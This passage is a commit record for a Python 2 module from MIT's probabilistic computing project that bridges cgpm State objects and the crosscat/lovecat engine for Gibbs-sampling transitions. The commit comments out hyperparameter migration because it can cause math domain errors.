        v_b = X_L['column_partition']['assignments'][i] + offset
        state._migrate_dim(v_a, v_b, state.dim_for(c))

    # Update the dim hyperparameters.
    for i, c in enumerate(state.outputs):
        dim = state.dim_for(c)
        if dim.cctype == 'categorical':
            dim.hypers['alpha'] = X_L['column_hypers'][i]['dirichlet_alpha']
        elif dim.cctype == 'normal':
            dim.hypers['m'] = X_L['column_hypers'][i]['mu']
            dim.hypers['r'] = X_L['column_hypers'][i]['r']
            dim.hypers['s'] = X_L['column_hypers'][i]['s']
            dim.hypers['nu'] = X_L['column_hypers'][i]['nu']
        else:
            assert False

    assert len(state.views) == len(new_views)
    state._check_partitions()

def _update_diagnostics(state, diagnostics):
    # Update logscore.
    cc_logscore = diagnostics.get('logscore', np.array([]))
    new_logscore = map(float, np.ravel(cc_logscore).tolist())
    state.diagnostics['logscore'].extend(new_logscore)

    # Update column_crp_alpha.
    cc_column_crp_alpha = diagnostics.get('column_crp_alpha', [])
    new_column_crp_alpha = map(float, np.ravel(cc_column_crp_alpha).tolist())
    state.diagnostics['column_crp_alpha'].extend(list(new_column_crp_alpha))

    # Update column_partition.
    def convert_column_partition(assignments):
        return [
            (col, int(assgn))
            for col, assgn in zip(state.outputs, assignments)
        ]
    new_column_partition = diagnostics.get('column_partition_assignments', [])
    if len(new_column_partition) > 0:
        assert len(new_column_partition) == len(state.outputs)
        trajectories = np.transpose(new_column_partition)[0].tolist()
        state.diagnostics['column_partition'].extend(
            map(convert_column_partition, trajectories))

def _progress(n_steps, max_time, step_idx, elapsed_secs, end=None):
    if end:
        print '\rCompleted: %d iterations in %f seconds.' %\
            (step_idx, elapsed_secs)
    else:
        p_seconds = elapsed_secs / max_time if max_time != -1 else 0
        p_iters = float(step_idx) / n_steps
        percentage = max(p_iters, p_seconds)
        tu.progress(percentage, sys.stdout)

def transition(
        state, N=None, S=None, kernels=None, rowids=None, cols=None,
        seed=None, checkpoint=None, progress=None):
    """Runs full Gibbs sweeps of all kernels on the cgpm.state.State object.

    Permittable kernels:
       'column_partition_hyperparameter'
       'column_partition_assignments'
       'column_hyperparameters'
       'row_partition_hyperparameters'
       'row_partition_assignments'
    """

    if seed is None:
        seed = 1
    if kernels is None:
        kernels = ()
    if (progress is None) or progress:
        progress = _progress

    if N is None and S is None:
        n_steps = 1
        max_time = -1
    if N is not None and S is None:
        n_steps = N
        max_time = -1
    elif S is not None and N is None:
        # This is a hack, lovecat has no way to specify just max_seconds.
        n_steps = 150000
        max_time = S
    elif S is not None and N is not None:
        n_steps = N
        max_time = S
    else:
        assert False

    if cols is None:
        cols = ()
    else:
        cols = [state.outputs.index(i) for i in cols]
    if rowids is None:
        rowids = ()

    M_c = _crosscat_M_c(state)
    T = _crosscat_T(state, M_c)
    X_D = _crosscat_X_D(state, M_c)
    X_L = _crosscat_X_L(state, M_c, X_D)

    from crosscat.LocalEngine import LocalEngine
    LE = LocalEngine(seed=seed)

    if checkpoint is None:
        X_L_new, X_D_new = LE.analyze(
            M_c, T, X_L, X_D, seed,
            kernel_list=kernels, n_steps=n_steps, max_time=max_time,
            c=cols, r=rowids, progress=progress)
        diagnostics_new = dict()
    else:
        X_L_new, X_D_new, diagnostics_new = LE.analyze(
            M_c, T, X_L, X_D, seed,
            kernel_list=kernels, n_steps=n_steps, max_time=max_time,
            c=cols, r=rowids, do_diagnostics=True,
            diagnostics_every_N=checkpoint, progress=progress)

    _update_state(state, M_c, X_L_new, X_D_new)

    if diagnostics_new:
        _update_diagnostics(state, diagnostics_new)
<commit_msg>Disable migration of hypers from lovcat to cgpm.<commit_after># -*- coding: utf-8 -*-

# Copyright (c) 2015-2016 MIT Probabilistic Computing Project

# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at

#    http://www.apache.org/licenses/LICENSE-2.0

# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

import sys

import numpy as np

from cgpm.mixtures.view import View
from cgpm.utils import timer as tu

def _crosscat_M_c(state):
    """Create M_c from cgpm.state.State"""
    T = state.X
    outputs = state.outputs
    cctypes = state.cctypes()
    distargs = state.distargs()

    assert len(T) == len(outputs) == len(cctypes) == len(distargs)
    assert all(c in ['normal', 'categorical'] for c in cctypes)
    ncols = len(outputs)

    def create_metadata_numerical():
        return {
            unicode('modeltype'): unicode('normal_inverse_gamma'),
            unicode('value_to_code'): {},
            unicode('code_to_value'): {},
        }
    def create_metadata_categorical(col, k):
        categories = [v for v in sorted(set(T[col])) if not np.isnan(v)]
        assert all(0 <= c < k for c in categories)
        codes = [unicode('%d') % (c,) for c in categories]
        ncodes = range(len(codes))
        return {
            unicode('modeltype'):
                unicode('symmetric_dirichlet_discrete'),
            unicode('value_to_code'):
                dict(zip(map(unicode, ncodes), codes)),
            unicode('code_to_value'):
                dict(zip(codes, ncodes)),
        }

    column_names = [unicode('c%d') % (i,) for i in outputs]
    # Convert all numerical datatypes to normal for lovecat.
    column_metadata = [
        create_metadata_numerical() if cctype != 'categorical' else\
            create_metadata_categorical(output, distarg['k'])
        for output, cctype, distarg in zip(outputs, cctypes, distargs)
    ]

    return {
        unicode('name_to_idx'):
            dict(zip(column_names, range(ncols))),
        unicode('idx_to_name'):
            dict(zip(map(unicode, range(ncols)), column_names)),
        unicode('column_metadata'):
            column_metadata,
    }

def _crosscat_T(state, M_c):
    """Create T from cgpm.state.State"""
    T = state.X
    def crosscat_value_to_code(val, col):
        if np.isnan(val):
            return val
        # For hysterical raisins, code_to_value and value_to_code are
        # backwards, so to convert from a raw value to a crosscat value we
        # need to do code->value.
        lookup = M_c['column_metadata'][col]['code_to_value']
        if lookup:
            assert unicode(int(val)) in lookup
            return float(lookup[unicode(int(val))])
        else:
            return val
    ordering = state.outputs
    rows = range(len(T[ordering[0]]))
    return [
        [crosscat_value_to_code(T[col][row], i)
            for (i, col) in enumerate(ordering)]
        for row in rows
    ]

def _crosscat_X_D(state, M_c):
    """Create X_D from cgpm.state.State"""
    view_assignments = state.Zv().values()
    views_unique = sorted(set(view_assignments))

    cluster_assignments = [
        state.views[v].Zr().values()
        for v in views_unique
    ]
    cluster_assignments_unique = [
        sorted(set(assgn))
        for assgn in cluster_assignments
    ]
    cluster_assignments_to_code = [
        {k:i for (i,k) in enumerate(assgn)}
        for assgn in cluster_assignments_unique
    ]
    cluster_assignments_remapped = [
        [coder[v] for v in assgn] for (coder, assgn)
        in zip(cluster_assignments_to_code, cluster_assignments)
    ]
    # cluster_assignments_remapped[i] contains the row partition for the
    # views_unique[i].
    return cluster_assignments_remapped

def _crosscat_X_L(state, M_c, X_D):
    """Create X_L from cgpm.state.State"""

    # -- Generates X_L['column_hypers'] --
    def column_hypers_numerical(index, hypers):
        assert state.cctypes()[index] != 'categorical'
        return {
            unicode('fixed'): 0.0,
            unicode('mu'): hypers['m'],
            unicode('nu'): hypers['nu'],
            unicode('r'): hypers['r'],
            unicode('s'): hypers['s'],
        }

    def column_hypers_categorical(index, hypers):
        assert state.cctypes()[index] == 'categorical'
        K = len(M_c['column_metadata'][index]['code_to_value'])
        assert K > 0
        return {
            unicode('fixed'): 0.0,
            unicode('dirichlet_alpha'): hypers['alpha'],
            unicode('K'): K
        }

    # Retrieve the column_hypers.
    column_hypers = [
        column_hypers_numerical(i, state.dims()[i].hypers)
            if cctype != 'categorical'
            else column_hypers_categorical(i, state.dims()[i].hypers)
        for i, cctype in enumerate(state.cctypes())
    ]

    # -- Generates X_L['column_partition'] --
    view_assignments = state.Zv().values()
    views_unique = sorted(set(view_assignments))
    views_to_code = {v:i for (i,v) in enumerate(views_unique)}
    # views_remapped[i] contains the zero-based view index for
    # state.outputs[i].
    views_remapped = [views_to_code[state.Zv(o)] for o in state.outputs]
    counts = list(np.bincount(views_remapped))
    assert 0 not in counts
    column_partition = {
        unicode('assignments'): views_remapped,
        unicode('counts'): counts,
        unicode('hypers'): {unicode('alpha'): state.alpha()}
    }

    # -- Generates X_L['view_state'] --
    def view_state(v):
        view = state.views[v]
        row_partition = X_D[views_to_code[v]]
        # Generate X_L['view_state'][v]['column_component_suffstats']
        numcategories = len(set(row_partition))
        column_component_suffstats = [
            [{} for c in xrange(numcategories)]
            for d in view.dims]

        # Generate X_L['view_state'][v]['column_names']
        column_names = \
            [unicode('c%d' % (o,)) for o in view.outputs[1:]]

        # Generate X_L['view_state'][v]['row_partition_model']
        counts = list(np.bincount(row_partition))
        assert 0 not in counts

        return {
            unicode('column_component_suffstats'):
                column_component_suffstats,
            unicode('column_names'):
                column_names,
            unicode('row_partition_model'): {
                unicode('counts'): counts,
                unicode('hypers'): {unicode('alpha'): view.alpha()}
            }
        }

    # view_states[i] is the view for code views_to_code[i], so we need to
    # iterate in the same order of views_unique to agree with both X_D (the row
    # partition in each view), as well as X_L['column_partition']['assignments']
    view_states = [view_state(v) for v in views_unique]

    # Generates X_L['col_ensure'].
    col_ensure = dict()
    if state.Cd:
        col_ensure['dependent'] = {
            str(column) : list(block)
            for block in state.Cd for column in block
        }
    if state.Ci:
        from crosscat.utils.general_utils import get_scc_from_tuples
        col_ensure['independent'] = {
            str(column) : list(block) for
            column, block in get_scc_from_tuples(state.Ci).iteritems()
        }

    return {
        unicode('column_hypers'): column_hypers,
        unicode('column_partition'): column_partition,
        unicode('view_state'): view_states,
        unicode('col_ensure'): col_ensure
    }

def _update_state(state, M_c, X_L, X_D):
    # Perform checking on M_c.
    assert all(c in ['normal','categorical'] for c in state.cctypes())
    assert len(M_c['name_to_idx']) == len(state.outputs)
    def _check_model_type(i):
        reference = 'normal_inverse_gamma' if state.cctypes()[i] == 'normal'\
            else 'symmetric_dirichlet_discrete'
        return M_c['column_metadata'][i]['modeltype'] == reference
    assert all(_check_model_type(i) for i in xrange(len(state.cctypes())))
    # Perform checking on X_D.
    assert all(len(partition)==state.n_rows() for partition in X_D)
    assert len(X_D) == len(X_L['view_state'])
    # Perform checking on X_L.
    assert len(X_L['column_partition']['assignments']) == len(state.outputs)

    # Update the global state alpha.
    state.crp.set_hypers(
        {'alpha': X_L['column_partition']['hypers']['alpha']}
    )

    assert state.alpha() == X_L['column_partition']['hypers']['alpha']
    assert state.crp.clusters[0].alpha ==\
        X_L['column_partition']['hypers']['alpha']

    # Create the new views.
    offset = max(state.views) + 1
    new_views = []
    for v in xrange(len(X_D)):
        alpha = X_L['view_state'][v]['row_partition_model']['hypers']['alpha']
        index = v + offset

        assert index not in state.views
        view = View(
            state.X,
            outputs=[state.crp_id_view + index],
            Zr=X_D[v],
            alpha=alpha,
            rng=state.rng
        )
        new_views.append(view)
        state._append_view(view, index)

    # Migrate the dims to their view partitions.
    for i, c in enumerate(state.outputs):
        v_a = state.Zv(c)
        v_b = X_L['column_partition']['assignments'][i] + offset
        state._migrate_dim(v_a, v_b, state.dim_for(c))

    # Update the dim hyperparameters.
    # This code is disabled because lovecat may give hypers which result in
    # math domain errors!
    # for i, c in enumerate(state.outputs):
    #     dim = state.dim_for(c)
    #     if dim.cctype == 'categorical':
    #         dim.hypers['alpha'] = X_L['column_hypers'][i]['dirichlet_alpha']
    #     elif dim.cctype == 'normal':
    #         dim.hypers['m'] = X_L['column_hypers'][i]['mu']
    #         dim.hypers['r'] = X_L['column_hypers'][i]['r']
    #         dim.hypers['s'] = X_L['column_hypers'][i]['s']
    #         dim.hypers['nu'] = X_L['column_hypers'][i]['nu']
    #     else:
    #         assert False

    assert len(state.views) == len(new_views)
    state._check_partitions()

def _update_diagnostics(state, diagnostics):
    # Update logscore.
    cc_logscore = diagnostics.get('logscore', np.array([]))
    new_logscore = map(float, np.ravel(cc_logscore).tolist())
    state.diagnostics['logscore'].extend(new_logscore)

    # Update column_crp_alpha.
    cc_column_crp_alpha = diagnostics.get('column_crp_alpha', [])
    new_column_crp_alpha = map(float, np.ravel(cc_column_crp_alpha).tolist())
    state.diagnostics['column_crp_alpha'].extend(list(new_column_crp_alpha))

    # Update column_partition.
    def convert_column_partition(assignments):
        return [
            (col, int(assgn))
            for col, assgn in zip(state.outputs, assignments)
        ]
    new_column_partition = diagnostics.get('column_partition_assignments', [])
    if len(new_column_partition) > 0:
        assert len(new_column_partition) == len(state.outputs)
        trajectories = np.transpose(new_column_partition)[0].tolist()
        state.diagnostics['column_partition'].extend(
            map(convert_column_partition, trajectories))

def _progress(n_steps, max_time, step_idx, elapsed_secs, end=None):
    if end:
        print '\rCompleted: %d iterations in %f seconds.' %\
            (step_idx, elapsed_secs)
    else:
        p_seconds = elapsed_secs / max_time if max_time != -1 else 0
        p_iters = float(step_idx) / n_steps
        percentage = max(p_iters, p_seconds)
        tu.progress(percentage, sys.stdout)

def transition(
        state, N=None, S=None, kernels=None, rowids=None, cols=None,
        seed=None, checkpoint=None, progress=None):
    """Runs full Gibbs sweeps of all kernels on the cgpm.state.State object.

    Permittable kernels:
       'column_partition_hyperparameter'
       'column_partition_assignments'
       'column_hyperparameters'
       'row_partition_hyperparameters'
       'row_partition_assignments'
    """

    if seed is None:
        seed = 1
    if kernels is None:
        kernels = ()
    if (progress is None) or progress:
        progress = _progress

    if N is None and S is None:
        n_steps = 1
        max_time = -1
    if N is not None and S is None:
        n_steps = N
        max_time = -1
    elif S is not None and N is None:
        # This is a hack, lovecat has no way to specify just max_seconds.
        n_steps = 150000
        max_time = S
    elif S is not None and N is not None:
        n_steps = N
        max_time = S
    else:
        assert False

    if cols is None:
        cols = ()
    else:
        cols = [state.outputs.index(i) for i in cols]
    if rowids is None:
        rowids = ()

    M_c = _crosscat_M_c(state)
    T = _crosscat_T(state, M_c)
    X_D = _crosscat_X_D(state, M_c)
    X_L = _crosscat_X_L(state, M_c, X_D)

    from crosscat.LocalEngine import LocalEngine
    LE = LocalEngine(seed=seed)

    if checkpoint is None:
        X_L_new, X_D_new = LE.analyze(
            M_c, T, X_L, X_D, seed,
            kernel_list=kernels, n_steps=n_steps, max_time=max_time,
            c=cols, r=rowids, progress=progress)
        diagnostics_new = dict()
    else:
        X_L_new, X_D_new, diagnostics_new = LE.analyze(
            M_c, T, X_L, X_D, seed,
            kernel_list=kernels, n_steps=n_steps, max_time=max_time,
            c=cols, r=rowids, do_diagnostics=True,
            diagnostics_every_N=checkpoint, progress=progress)

    _update_state(state, M_c, X_L_new, X_D_new)

    if diagnostics_new:
        _update_diagnostics(state, diagnostics_new)
<|endoftext|>